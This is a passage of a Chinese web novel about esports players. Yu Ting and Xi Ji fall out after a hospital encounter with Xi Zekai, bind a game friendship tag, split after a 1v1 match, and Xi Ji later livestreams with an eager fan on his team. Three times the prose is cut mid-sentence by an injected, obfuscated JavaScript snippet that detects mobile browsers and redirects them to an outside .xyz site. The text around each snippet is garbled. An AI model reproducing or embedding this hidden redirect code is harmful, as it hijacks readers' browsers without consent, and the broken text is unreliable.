“我记得当初闹大的原因是因为你带刀吧，我只是找你麻烦，但你是真想刀我啊。”郗泽楷摩挲着下巴回忆，“如果不是我及时发现，你随便在我身上捅两下，我是不是至少得出点血去医院躺着？” 郗泽楷重新坐了下来：“是，找你麻烦是我不对，但是你也差点送我进医院，所以我们是不是可以算是扯平了？” 郁听不为所动：“所以，你是来平旧账的？” “好吧。”见对方油盐不进，郗泽楷叹了口气，结束这场他也感觉冗长的聊天，在沙发上找了个比较舒服的姿势翘起二郎腿，终于说出了大费周章找来的目的，“我是想知道，郗霁他是不是成为了职业选手？” 事关郗霁，郁听神色微微一动。 郗泽楷又继续说：“我之前在他的游戏记录里看见了他跟你们战队组队和北斗战队比赛的记录，那是不是试训赛？他是不是加入你们战队了？” “他知道你这么在意他的事情吗？你想知道的话，为什么不直接去问他？” “我倒是不在意，是郗晏……”郗泽楷顿了下，“算了，你就告诉我他是不是又有做职业选手的打算就行了。” 又？ 提取到关键字眼的郁听脑海中自动想起朝雾说过的话，郗霁从HGR离开之后，却并没有再签约其他战队。 会不会当初的原因根本不是所谓的年轻气盛，而是因为其他？ 郁听垂下眼陷入沉思，郗泽楷还在循循善诱：“既然你还记得当初的事情，那你应该也记得当初进警局的事郗霁也有份吧，就是他报的警，害你被请家长，害你转学，你告诉我他的动向，我也好帮你出气不是吗？” “你帮我出气？”郁听掀开眼皮，掩饰下心里的诧异，语气带着不易察觉的防备，“你怎么帮我出气？” “这你就别管了。”郗泽楷摆摆手。 “那就无可奉告了。”郁听声音比刚才更淡，冷硬地转身，顺着他的话说，“虽然当初的事他也有责任，但我肯定更讨厌你，所以不用在我这里多费心力了，请出去吧。” 见郁听真的转身离开，郗泽楷在他看不到的角度翻了个白眼，忙说：“那一码归一码，不是说要承担我的医药费吗？” 他坐直了身体，将受伤的手举了起来：“至少得带我去打破伤风吧，你那个自闭症哥哥咬的，都见血了。” …… 正月的晚上，大街上也算是热闹，郗霁遇到堵车，龟速地跑了两家私立医院，才终于凭病例买到爷爷平常服用的处方药。 原本这些药是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368141|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专门为爷爷看病的邓医生每次检查的时候一起送上门的，但是他这几天休假回老家了，奶奶发现药快完了，让他提前买来备在家里。 他从药房区出来往外走，忽然，两道熟悉的身影吸引了他的视线。 郗泽楷一如既往地挂着他那副纨绔子弟的假笑，时不时跟身边人说上一句。 而他身边那人，虽然帽檐压得很低，遮住了大半张脸，但郗霁认出了对方身上的黑色羽绒服，今天白天一直跟他在一起，傍晚才分开的郁听。 他们怎么会在一起？ 对于这个堂弟的秉性，郗霁还是很了解的，第一反应便是郁听是不是被欺负了，受伤了，所以才来医院，几乎本能地想前往解围。 郁听去挂了号，领着郗泽楷这个忽然变得柔弱不能自理的伤员前往对应的科室。 普外科诊室外，此时倒是没有其他患者，医生开了单子，郁听扫码付了钱，又前往下一个区域。 在预防接种的窗口排了号，郁听转身回来的时候，又听见坐在椅子上等候的郗泽楷不厌其烦地冲他说：“说真的，我跟郗晏的想法相反，我倒是挺希望郗霁加入你们战队成为职业选手的，你不知道，他从小到大自律性强，成绩优秀，回回考试都是第一，高考也考入了我爷爷期望的大学，从来都是大人们口中完美的别人家的小孩，当做正面模板来使用的。” “我倒是无所谓，根本不在意这些。”郗泽楷摊开手，“但是郗晏跟他一个爸，又不是同一个妈，所以被拉出来对比得最多，还牵连到了郗晏他妈妈，所以各方的压力最后都落在了他身上来承担，时间长了，难免对郗霁心生怨恨，再加上小时候那件事……所以你赶紧把郗霁拐进战队去。当初的事全赖我跟郗霁，郗晏可没对不起你过，你跟他又是同班同学，提供点帮助来全这份同学情谊很合适的吧……” 在来的路上，郁听通过郗泽楷东一句西一句的抱怨大概理明白了，他们家是很传统的家庭，当职业选手这件事，家里是不支持且反对的。 “郗晏为什么不想当上职业选手？不是正好不用被他哥的光环压得喘不过气来吗？” 郗泽楷想了想：“可能是因为他的痛苦都是郗霁造成的，只有看到郗霁难受了，他才痛快吧。” “……” 沉默了几秒之后，郁听站起身，整理了一下衣服说：“费用我已经交了，没事我就走了。” 歪头看了眼前面还有好几个人在排队，郗泽楷皱眉道：“你不管我晚饭？我又累又饿，等会打针得晕血了。” “我没那个义……”郁听眉头深深地拧起，拒绝的话在喉咙转了一圈，忽然改口,“那我去食堂给你打一份。” “你现在都是职业选手了，赚得也不少吧，就请我这个伤患吃食堂？” “春节期间，很多店铺没营业。” “这样吧，前面路口那家粥铺我看已经开门营业了，你帮我带一份。” “行。” 郁听走出医院，来到郗泽楷所说的那家粥铺，随便点了一份，老板阿姨问他：“可以选择两种口味，吃甜口还是咸口？” “可以加辣吗？”郁听抬眼，不紧不慢地补充，“致死量的变态辣。” 11. 再见 郗霁走出医院门诊大楼的时候，背着光，清隽的脸笼罩在暗色之下，他抬头看着今晚没有星星的夜空，微微眯眼。 此时，他的心情一如头顶的夜色一样阴郁。 他回想起从遇见郁听到现在所有发生过的事情，好像都得到了合理的解释。 从柏林初遇开始，郁听的过份热情也说得通了。 校友是没错，但他更是郗晏的同班同学，难怪对他的很多事情超乎了普通校友的熟悉。 原来一切都是有迹可循。 夜风也很凉，倒是让人清醒了一些。 郗霁看了眼郁听离开的方向，眼底的情绪翻涌了片刻，最终归于平静，转身离开。 郁听从外面回到医院，再从医院出来，整个人茫然地站在路边，陷入沉思跟纠结。 之前他倒是不知道郗霁家里面的情况，现在知道他也不好过，一时也不知道邀请他加入战队的举动是对还是错。 而且，自己如果提醒的话，他愿意他这个外人去掺和家务事吗？ 如果不提醒，下次再见面，他又该说些什么？ 是该劝他坚持还是放弃？ 好像无论怎么选择，郗霁都一定会受到伤害。 郁听重重地叹了口气，正低头看打车软件，一条新消息从顶端弹了出来，还带着他设置的特别关心提示音。 [郗霁：我有一个问题想问你。] [D：什么？] 另外一边，郗霁正坐在驾驶座里，面无表情地在手机屏幕上回复消息。 [Clear：你现在有什么想达成的心愿吗？] [弦耳：什么意思？哥要当我许愿的阿拉丁神灯吗？] [弦耳：既然这样的话，我想哥永远开心快乐就好了。] [Clear：太笼统了，换一个关于你的，而我现在能为你达成的心愿。] 恩怨分明，这是郗霁出来之后想清楚的事情，说开之前，让他先将之前的人情还了。 那边“正在输入中”的提示反复亮了几次，看起来真的是在斟酌考虑。郗霁也不急，坐在驾驶座里耐心地等着。 他把车停在了路口，风透过半开的车窗吹送进来，拂过他搭在方向盘上有规律敲击的手指，几分钟后，最新消息终于刷新。 [弦耳：我想跟哥绑定情侣标可以吗？] 郗霁皱着眉，一个字一个字地阅读完，确定没有看错后，缓缓扣出了个问号。 [Clear：？] 这是在拿他开涮吗？ 因为从认识以来，郁听在他面前表现出来的样子实在是太正面了，以至于他在医院看到他跟郗泽楷两人像朋友一样相谈甚欢地商量的时候还一时有些难以接受。 现在看他发这样的消息，好像也没有多意外了。 可能之前，是他给他糊的那层滤镜实在是太厚了。 [弦耳：开玩笑的。] 那边很快自己打起了圆场。 [弦耳：只是白天三排的时候，看到哥跟你朋友的亲密关系标，所以我也想要一个。] 在TOA游戏中，在满足好友双方达到30级并且亲密度等级达到二级之后，可以建立死党，姐妹，情侣，知己等四种亲密关系。 他跟郁听的游戏号都早已达到30级，并且通过白天一起组队的那几场，他们获得的亲密度也已经突破二级。 [Clear：你想也跟我绑定死党关系？] [弦耳：不要死党，知己可以吗？] 知己，能够带来深刻的安慰和温暖，能够互相信任，能够无话不谈的灵魂挚友，这个称呼比死党更偏向精神层面的契合。 他们二人？ 韩弋是他从小到大的朋友，他是谁？ 想到医院看到的，听到的，郗霁嗤笑一声，嘴角勾起一抹带着凉意的弧度。 他重新点开输入框，指尖在虚拟键盘上敲击的速度很快。 [Clear：我不随便跟人绑定关系的，韩弋是我多年的朋友。] 这一次消息发送出去之后，像是石沉大海，连顶端的“正在输入中”都没有显示过了。 郁听站在医院门口，看清消息的那一刻，脸上的期待骤然僵住，只是垂着眼盯着屏幕上的文字，睫毛在眼下投出一小片黯淡的阴影。 是他异想天开了，郗霁问得太突然，以至于他开心得有些忘乎所以了。 一直以来，都是他将自己看的太重要了。 他之于对方，和对方在他心里的份量，从来不是一样的。 就像再相见的时候，郗霁根本没有认出来他一样，多年前对他的帮助，挥挥手就忘了。 郁听在人行道上站了许久，脚边的影子被路灯拉得细长，与医院门口川流的人群格格不入。 手机屏幕黑了又亮，亮了又黑，他没有力气再回复，最后干脆将手机放回兜里，缓缓抬起头，目光投向头顶的天空。 没有星星，月亮也早已经躲进云层，墨色的夜空压得人心里发沉。 不远处的路口，郗霁注视着医院外如雕塑的那个身影。 直到他终于转身，迈着缓慢的步伐离开，郗霁也才启动车子拐出来。 他倒不是故意藏在那里的，他原本是打算等郁听回来直接堵上去当面质问的，但是想到了之前郁听为他所做的事情，不管他是不是装得，起码当时他得到了情绪价值。 还有最开始赠送给他的生日礼物，是用心送到他心坎上了，不管目的是什么，这个人情他得还了。 所以一切都计划得好好的，明明想体面一点，但还是没忍住将怨气带进来回复里。 郗霁没有回头，只是盯着前方的路，后视镜里，郁听的身影越来越小，逐渐被吞噬在夜色里。 回去的半路，下起了小雨，风裹着雨斜斜砸在玻璃上留下蜿蜒的水痕。 等红绿灯的间隙，郗霁侧过头，盯着车窗上自己模糊的影子，看它被雨线切割成一片一片，脑海里想起郁听如同雕塑一样地站在医院门口，最后离开的情景。 而这雨来得这样快……又跟他有什么关系！ 郗霁将脑海中多余的想法甩了出去，等绿灯切换成红灯，一脚油门驶了出去。 …… 一个半小时后，郁听洗完澡，头顶着毛巾从浴室走出来。 他没有回郁宁待的那栋民房，而是他自己单独的家。 在拿到签约费的第一时间，他就买了这套房子，将自己和郁宁分了开来，得以喘息。 长时间和自闭症家人待在同一空间，正常人也是会逼疯的。 回想过去十多年在发疯跟崩溃的边缘反复徘徊，无数次被逼到想逃，又无数次在别人的孤立和排挤里觉得撑不下去了。 而郗霁，是他过去的混沌黑暗中唯一短暂庇护过他的光…… 只是。他并不属于他一个人，想到郗霁那句可能无心的话，心还是不可避免地抽痛了一下。 擦干头发上的水后，郁听将毛巾挂起来，拉开椅子，在电脑前坐了下来。 怀着某种莫名的心情，他启动电脑，上了线，看到一条“亲密关系”申请的时候，心跳漏了一拍。 他盯着屏幕，连呼吸都放轻了些，既紧张，又害怕不是他心中所想，担心期待落空而失落，这几种心情缠在一起，让他犹豫半天才敢移动鼠标点开。 “申请建立亲密关系 ——知己” 这几个字跳进眼里时，郁听的瞳孔微微放大，盯着那行字反复看了好几遍，确认没看错后，没出息地立即点了同意。 游戏中，一方发送申请，另一方在同意后，亲密关系就算是建立成功了。 郁听开心地盯着那图标看了会，话又说回来了，那虽然不是他一个人的光，但的确有照在他的身上过，不是吗？ 另一边，郗霁也早早地回了家，他发现上线并同意了他申请后，随后便建立好1V1的房间，给他发去了邀请。 那边几乎是秒进，应该一开始没看清楚，进房间后才发出疑问。 [Palmy.弦耳]：1V1？ [霁月]：太晚了不方便，5V5时间太长，所以一对一Solo你来不来？ [Palmy.弦耳]：当然可以。 郗霁当即点了开始，进入选择英雄的阶段。 他的视线在一众上单英雄上扫过，随后陷入了纠结。 在5v5的游戏中，上单跟打野的定位不同。 上单主打对线压制，单带牵制，团战时充当前排和切入。 打野是控制野区，争夺资源，主打全局规划和节奏带动。 简单点地说，上单单挑能力更强，打野更擅长的是偷袭和资源计算。 所以普遍情况下，在1级裸装Solo或者前期同经济的情况时，顶级线霸型上单的胜率通常高于大多数主流打野英雄。 因为，他们的技能组合就是为单挑而生的。 为了公平起见，郗霁没有考虑那些线霸级单挑英雄，但也不准备放水，在倒计时的最后几秒，他选择了极乐黑狐，可以走上路也可以走打野的一位英雄。 相信郁听对它也很熟悉。 进入对局加载页面的时候，郗霁才发现，原来郁听也选择了极乐黑狐。 这点他们倒是很默契。 郗霁的目光落在双方ID下方，浅青色的“知己标”同时亮起，它们一个缀在红色方的ID下，一个缀在蓝色方的ID下，明明是象征亲近的标记，却在对立的阵营背景里，在此时透出几分说不清的宿命感。 为了速战速决，郗霁选择的是最小的地图，双方除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368142|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水晶外，只有一条分路和一座防御塔。 从泉水出来的时候，郗霁先打字发送全局消息。 [全部]霁月（极乐黑狐）：方便开麦吗？ 下一刻，耳机里响起熟悉的声音。 “方便的，哥。” 双方的英雄在中间汇合，都用Q技能释放出火蛇攻击试探了一下，互相蹭掉了对方一层血。 “之前我说过考虑进战队的事情，过年后给你答复，你还记得吗？”郗霁开口问。 “记得。”郁听心里隐隐升起不好的预感，因为郗霁的语气跟平时不太一样。 果然，下一刻就听见郗霁宣布：“我不打算加入你的战队了。” 想到郗泽楷说过的那些话，郁听的为什么便问不出口了。 但郗霁的声音还在继续：“感谢你之前送我的生日礼物，本来打算等你生日的时候也精心准备一份礼物回赠的，但我觉得，我们应该是没有这个机会了，所以我今天问了你的心愿，我是认真问的，但是你的回答有几分真我就不确定了。” “我也是认真回答的。” “是吗？”郗霁笑了下，“那我就当你是认真的，反正我已经帮你实现了，你反悔我也不准备再为你重新准备了。” “不反悔。”郁听的声音放轻，带着不易察觉的担忧，“但是为什么提前送我礼物？就算不加入战队，我们也是可以一直联系的，哥遇到什么烦心事也可以跟我说的。” 如果不是医院的所见所闻，郗霁都快又对方精湛的演技蒙骗了。 他幽幽地叹了一口气，遗憾地开口：“你跟郗泽楷是朋友，我怎么能跟你说呢？” “不是。”郁听立即否认道。 “但是你跟郗晏是同学，为什么一开始没有告诉我呢？” 如果一开始知道，就不会给对方接触的机会了。 可能是因为这句话太直接，拆穿了他们之间的遮羞布，所以郗霁看到对面的极乐黑狐在原地明显愣了下，然后走位失误，被郗霁一套技能重创。 极乐黑狐的被动技能是再生防御，遇到致命重创可液化，复原时免疫一次物理攻击，让郁听成功撤离。 不过，郗霁也没打算这一次一击毙命，见对面回去补血后，转而继续清兵，等待大招的CD恢复。 因为这个英雄的被动刷新时间是180秒，也就是说，下一次，对面就没有这项保命技能了。 “我看到你跟郗泽楷一起进医院，听见了你们的话，你还给他送粥……所以，骗我很好玩吗？” 一想到郁听当面叫他哥，转眼将他的挣扎跟犹豫告诉那两人，甚至可能还商量过怎么套路他，郗霁心里就止不住地泛起恶心，然后他补充：“以后，你也不用再费心地联系我了。” 郗霁的声音平稳得没有一丝波澜，仿佛在说一件无关紧要的小事，轻轻地，落在郁听的耳里却是有千斤重。 解释的话在他喉咙滚了一圈，最后还是没能说出口。 如果实话实说的话，就绕不开郁宁，他那个自闭症哥哥。 其实在柏林那次再相遇，见郗霁完全不记得他时，郁听虽然有几分失落，但心底也有几分庆幸。 从小到大，哪怕他是正常的，但是那些异样的眼光和窃窃私语，公开的嘲笑，孤立，疏远和歧视，贯穿了了他过去十多年的人生。 也是在经历过这一切后，他才明白妈妈在日记中写的那句“害怕别人的指指点点，就总想把郁宁藏起来”是什么意思了。 所以，他不敢去赌。 害怕郗霁会像他小时候每次对新伙伴坦白的那样，从一开始的怜悯跟同情，然后变成疏远跟嫌弃。 哪怕知道郗霁是个底色很善良的人，可那份对秘密暴露的恐惧，还是让郁听不敢去赌。 First Blood！！ 郁听已经打得云里雾里，等他听见系统提示音回过神来的时候，自家的极乐黑狐已经倒在自家防御塔下了。 1V1的房间，对局进行得很快，原本的防御塔就只剩下小半格血，他这方英雄死亡之后，郗霁便在最快的时间内推掉了防御塔，然后一举进攻水晶。 在水晶只剩下最后一格血的时候，郗霁的声音透过耳机轻轻传过来：“再见，郁听。” 紧接着，那座象征着胜利的水晶轰然爆炸。 Defeat！ 屏幕骤然一暗，冰冷的机械女声宣告着这场比赛的终结。 最后的画面定格在这冰冷的结算画面中，映得郁听苍白的脸色更加灰败，毫无血色。 他赶紧退了出去，房间已经被解散，郁听用他们之间所有的联系方式进行联系，微信果不其然地出现了红色感叹号，然后是一行小字。 游戏好友倒是没有删除，但是已读不回，宣告了对方的态度。 12. 直播 “你的出生就是为你哥哥兜底做准备的。” “现在你妈不在了，照顾你哥哥的任务你得接棒过来了。” “跟我回家！不是跟你说了，别跟他们家的人玩嘛！” “听说自闭症是有遗传基因在的，你成绩那么好，不会是阿斯伯格吧？” 灰暗在拉扯着郁听的意识，四周涌满了人，他见到了很多张熟悉的脸。 画面一转，逼仄的巷子里，才十四岁的他从满是污泥的地上爬起来，正准备孤注一掷，然后有人出现在他身后。 “你们在干什么？” 清亮的少年音从巷子口传来，带着不容置疑的坚定。 他回过头，逆光中，他看见一个比他高一个头的少年站在那里。 很快，他就失望了，因为他认出了那人，跟身后堵他的这几人是一伙的。 可最后幸运的是，这人没有拉偏架，还提前报了警。 画面再切换，人在警局，双方家长都到场了，而郁向明看到他的第一时间就给了他一巴掌。 下一幕，到了他转学离开前，有人找到他，给了他一包东西，是一些现金和去警局前他被顺走的刀。 他眼神冷漠地把刀取了出来，将剩下的东西推了回去：“不需要施舍。” 对面的人不满地开口：“什么施舍？他最近跟家里闹了点矛盾，这钱是他当游戏代练一笔一笔挣出来的。” “游戏代练？” “对，Tactics of Attack，玩过吗？” …… 意识还陷在粘稠的黑暗里，但鼻尖已经闻到消毒水的刺鼻气味。 梦境中断，郁听挣扎着慢慢睁开眼，映入眼帘的是一片纯白的天花板。 视线往旁边转，是林经理跟周瑞宁站在窗前在说话。 林经理率先见到他睁开眼睛，“人醒了。” “经理，队长，麻烦你们了。” 看清所处的环境之后，郁听便明白了怎么回事。 没想到刚归队的第二天就进了医院，睡前明明吃了感冒药的。 他坐了起来，倦怠地捏了捏眉心，他已经很久没有梦见以前的事了，也不知道是不是生病的缘故，现在头疼像虫子在钻。 “今天见你半天没下来，上去你房间时，你人都快烧糊涂了。”林经理走过来，关心地说，“昨天怎么没说呢，你身体不舒服可以申请在家里多休息两天再归队的。” “对不起，前两天淋了点雨，我以为没什么问题的……给大家添麻烦了。”郁听抱歉地开口。 周瑞宁也走路来，搭上他的肩膀，安慰：“你别多想，好好休息，教练说训练先给你停一周，等你病好了，再跟大家一起恢复训练。” 因为战队有事，林经理需要先回战队处理，待走出病房时，又倒回来嘱咐：“对了，在你康复之前，也暂时不要直播了，免得粉丝担心。” 林经理离开后，护士走了进来，量了体温，取下点滴瓶，交代了几句回去的注意事项后，很快又出去了。 郁听下了床，垂着眼把玩着手机，忽然开口：“队长，你之前的小号在哪里买的？” “嗯？”正低头预约打车软件的周瑞宁闻言抬起头来，“你要干什么？” “我大号被人屏蔽了，想用小号试试。” 这两天，他不是没有试着用小号联系过郗霁，但那些小号上他的痕迹太重，最后的结果都是一无所获。 “那我把平台推给你，上面号比较多，任意皮肤，任意段位的都有。” “谢谢队长。” 郁听的目光落在屏幕上特别关心的主播的开播提醒，握住手机的手指因微微用力而泛白。 既然当年已经伸手把他拉出深渊，便不能再抽手让他跌进去了。 他会像鬼一样缠着他，哪怕换一种身份。 …… 【主播这是终于想起来自己的账号密码了？】 【新年快乐，我现在相信主播是大学生了，放假的时候是真给自己放假，一点不管我们粉丝死活的。】 【习惯了，反正他每次放假只有心情不好的时候才会想起来直播，所以这是谁又惹他了？】 【Hello，主播还记得这是个5v5对战的团队游戏吗？】 【这个段位都能乱杀，主播你有些屈才了，去打职业吧！】 酒店电竞房内，韩弋看着身旁在游戏中库库乱杀的好友，问：“今天我没有约你，怎么也出来了？” “想打就打了。”郗霁语句里夹杂着显而易见的憋闷。 跟郁听说开之后，郗霁并没有想象中的畅快。 他竟然被比他小快三岁的人耍了，怎么能不让人堵得慌？ “你这可不像是来打游戏，像是来泄愤的。”韩弋一针见血地说，“今天一接到你的消息，我就马不停蹄地来开房，结果你一直在峡谷里泄愤，原来不是来带我上分的啊！” “你就说有没有带你上分？” “是上分了。”韩弋故作矫揉造作地哎呀一声，“我这不是关心你为什么心情不好吗？” “我没有心情不好。” “你从来到现在一直黑着脸，脸上早就清晰地写着心情不好四个大字了！” 弹幕也是一阵骚动。 【求打开摄像头，我也想看看主播黑脸的模样。】 【求打开摄像头+1】 【求+1】 【+1】 【别求了，主播聪明点就不可能露脸的，如果长得帅的话早就露脸了，丑的露脸即掉粉，多少游戏主播都因为这个翻车了。】 一局游戏结束，返回房间时，郗霁刚好看到这句，本就心情不好，直接怼：“你才丑。” 然后将人禁言加踢出来房间一条龙。 但是直播间有四位数的观众，鱼龙混杂，不可能只有一两个黑粉。 很快，便也有其他人开始带起了节奏，黑粉跟维护他的粉丝吵成了一团。 趁着下一轮游戏还没开始匹配，郗霁正打算大刀阔斧地禁言一批人，随后眼前一花，职业选手带着象征他身份的金灿灿的特效飘进来了。 待特效逐渐消失，郗霁看清那朦朦胧胧的ID之后，趁着大家还没看清，展现出不输职业选手的手速，将人给踢了出去。 人是踢了出去，但刚刚职业选手入座的特效大家可都是看见了，此时纷纷在观众列表里找职业选手的踪迹。 【刚刚是谁？我恍惚看到了个P。】 【好像是Palmy战队的人吧。】 【Palmy战队去年取得好成绩也是飘了，这个春节假期，除了Raining，竟然没有一个人在直播！】 【刚刚是弦耳？Raining？人间客？Stream？还是轻叶？】 【轻叶退役了，现在应该没有职业选手的认证了吧。】 【Palmy现在没有上单，刚刚他们的选手进直播间是准备来给战队挖掘合适的人才吗？】 【放心吧，主播不敢进Palmy的，就问他敢露脸吗？】 “刚刚是弦耳吧。”韩弋靠拢过来，附耳低声说。 但凡他在郗霁直播时跟他双排，也会将直播间挂上，就是为了防止自己在不知道的时候随便说话带了节奏，因为经常进直播弹幕互动，所以大家对他也比较熟悉了。 “别提他。”郗霁关了麦克风。 “怎么了？他惹你了？” “被骗了而已。” “新鲜事啊。”韩弋摘了耳机，“不过，我也觉得他的确看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368143|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来不像是在你面前表现的那么单纯。” 闻言，郗霁脸更黑更臭了。 连韩弋这个第一次见面的人都能发现郁听在装，他竟然被这小屁孩骗了那么久。 偏偏，韩弋丝毫不知他这句话对他造成了成吨的伤害，一脸兴冲冲地追问：“他骗你什么了？钱？他今年的身价至少能翻一番，应该是不缺的。感情？可他是男的……所以他究竟骗你什么了？” “我撞见他跟郗泽楷有说有笑地在一起，而且他跟郗晏还是同学。” “我勒个去？？这是上演无间道啊！！那你还加入Palmy吗？我记得你上次想当职业选手，就是郗晏告密的。” 郗霁闭了闭眼睛，“别提了，头疼。” 现实中的烦闷，最后都变成了游戏对局中对线的动力，到在接下来打崩一路大获全胜后，又开始了新一轮的游戏。 禁选英雄阶段，1楼率先发言了。 [1楼：5楼我是你粉丝。] [1楼：想要什么英雄，我帮你抢。] [5楼：猎魔使徒，谢谢。] 这只是一个小插曲，郗霁根本没有放在心上，直到补位到了辅助的1楼不跟打野，不跟ADC，跑来上路辅助他这个上单。 在帮他2级就拿到一血后，立马打字夸赞。 偷吃月亮（泡泡鱼）：好厉害！ 韩弋正在中路跟对面中单互相甩技能骚扰对方吃线，百忙之中也不忘用怪腔调调侃好友：“好厉害！” 这时候，对面上单发话了。 [全部]满天星（红莲骑士）：上单带辅助，肾虚？ 霁月（猎魔使徒）：你去下路帮ADC吧。 这话是对辅助泡泡鱼说的。 他会发这样的消息，跟对面上单说他肾虚一点儿关系也没有，只是对面下路是恶魔之眼加黑水渊兽这对强势组合，自家ADC已经被压缩在塔下不敢出来了。 偷吃月亮（泡泡鱼）：好的。 随后，泡泡鱼拖着它粉色的大尾巴从自家野区往下走。 倒是十分听话配合。 游戏进行到6分钟时，局内消息逐渐变得不能看了，因为我方ADC开骂了。 原因是，ADC骂泡泡鱼抢了他的人头，再加上开局的时候没有先帮下路，本来就有意见了，这下，积攒的怒气就爆发了。 各种肮脏的词汇都蹦了出来，甚至好多都被屏蔽成了星号。 郗霁抽空看了眼，觉得用这些词汇骂一个女孩子有些过了，韩弋也是看不下去了，打字让辅助跟他。 被抢人头，有什么大不了的？ 但在接连被泡泡鱼补到了几个炮兵后，韩弋沉默了，他算是知道ADC那么暴躁的原因了。 原本他跟对面中单的经济差不多是持平的，这下比别人家少好几百了。 而且，在他蹲守在草丛里埋伏人的时候，泡泡鱼还不小心漏了视野，导致他们0杀双死。 从泉水出来之后，韩弋默默点了根烟，他现在算是能理解到郗霁带他的心情了。 不在一个水平线上的人，在一起打配合差距实在是太明显了。 他甚至怀疑泡泡鱼的高段位是请代打打上来的了，现在自己上号，原形毕露了。 “这辅助有点菜啊。”韩弋说，“要不，还是让她在上路跟着你吧，我估计她跟着打野，一样会被骂的。” 郗霁想了想，左手在键盘上快速打字，发送局内消息。 霁月（猎魔使徒）：辅助跟我。 看见这句话，刚从泉水复活的泡泡鱼兴高采烈地前往上路跟郗霁汇合，抽空还发了句“谢谢~”，后面还跟着一个可爱的小表情。 三分钟后，郗霁没忍住跟韩弋说：“辅助这不是打得挺好的吗？哪菜了？” 13. 撞车 辅助“泡泡鱼”跟在郗霁身边，无论是帮他先手控人还是撤退掩护都做得非常好，根本没有韩弋说的那么菜。 “你说真的还是假的？”韩弋拉了下视野，“奇了怪了，她这是跟着你就打得好，跟着我们就不好呗？她不会是故意的吧？” “图什么？”郗霁反问。 韩弋想了想：“因为是你粉丝，就想跟着你？” 这时候，“泡泡鱼”又在局内发送消息了，在脏话连篇的聊天记录里像是一股清流。 偷吃月亮（泡泡鱼）：这把游戏结束能给个好友位吗？以后可以一起玩游戏啊。 面对“泡泡鱼”的请求，郗霁没有给予回复，他已经在上路连推两座塔。 从对面上野区清完一圈野出来，又来到中路协助韩弋把对面中路的一塔给推了。 郗霁原本是想当做没看到的，但是“泡泡鱼”又追问了。 偷吃月亮（泡泡鱼）：行吗？ 如果再装作没有看见的话，那就太假了。 霁月（猎魔使徒）：不好意思，平时加的好友太多了，列表满了，加不上了。 郗霁委婉地拒绝，他不太喜欢随便加游戏好友，毕竟每天都有找上门来加他的粉丝，如果他每个都加的话，好友列表早就爆了。 所以他的好友列表里除了认识的人，只有零星几个粉丝。 哦，还有一位职业选手，只不过算是从此躺列了。 直播间粉丝对此也屡见不鲜了，懒懒散散地飘过几句相关的弹幕。 【骗人，明明好友列表才几十个，空得很。】 【拒绝人的老一套话话术了，每一次拒绝人都是这样说的。】 【家夫出门在外，真是让人放心得很！】 “旱的旱死，涝的涝死。”韩弋忽然叹口气感叹。 “你羡慕的话，也可以开个号当主播。”郗霁一边开团，一边眼睛也不眨地说。 【那技术太辣眼睛了，游戏主播就别想了，只能划去娱乐区当搞笑主播。】 郗霁刚好看到这条弹幕，顺嘴回答：“当搞笑主播对于弋哥来说屈才了，弋哥很帅的，露脸即吸粉。” 因为状态不佳正在回城的韩弋闻言抬了抬下巴，一脸傲娇。 可惜没有开摄像头，直播间的观众不能看见他此时快翘到天上去的尾巴。 偷吃月亮（泡泡鱼）：那你呢？ 独钓韩江雪（骷髅法师）：？ 偷吃月亮（泡泡鱼）：霁月的声音这么好听，肯定也很帅吧！ 郗霁抬眼望了一下游戏里此时处于禁言状态的麦克风图标。 “她听得见你的声音？”韩弋也感到诧异。 结合泡泡鱼开局就说过是他粉丝的言论，郗霁立即便有了答案。 他仍旧没有打开局内麦克风，而是直接问：“你正在看我的直播吗？” 偷吃月亮（泡泡鱼）：是的，我喜欢你很多年了，真的不能给个好友位置吗？ 偷吃月亮（泡泡鱼）：我什么辅助都会，可以增加你的游戏体验！ 这还是郗霁第一次遇见这么锲而不舍的粉丝，最后只说道：“我一个主玩上单的，带辅助做什么？” 偷吃月亮（泡泡鱼）：我其他位置其实也能打的。 Witty（千狩）：辅助叽里咕噜地在说什么呢？ Witty（千狩）：ADC怎么在泉水不动了？ 直到游戏进行到七八分钟的时候，我方ADC还一直对辅助“泡泡鱼”进行言语辱骂，被举报过后，才被禁言，消息列表才消停了。 至于从什么时候开始待在泉水不出来了，还真没注意。 韩弋等了十几秒，见ADC在泉水仍旧没有动静，才回复。 独钓韩江雪（骷髅法师）：心态太差，挂机了吧。 Witty（千狩）：所以辅助是谁带的妹？ 在ADC挂机的当下发出这句询问，莫名让人感觉是质问。 所以，郗霁很快接话。 霁月（猎魔使徒）：是我这边带的。 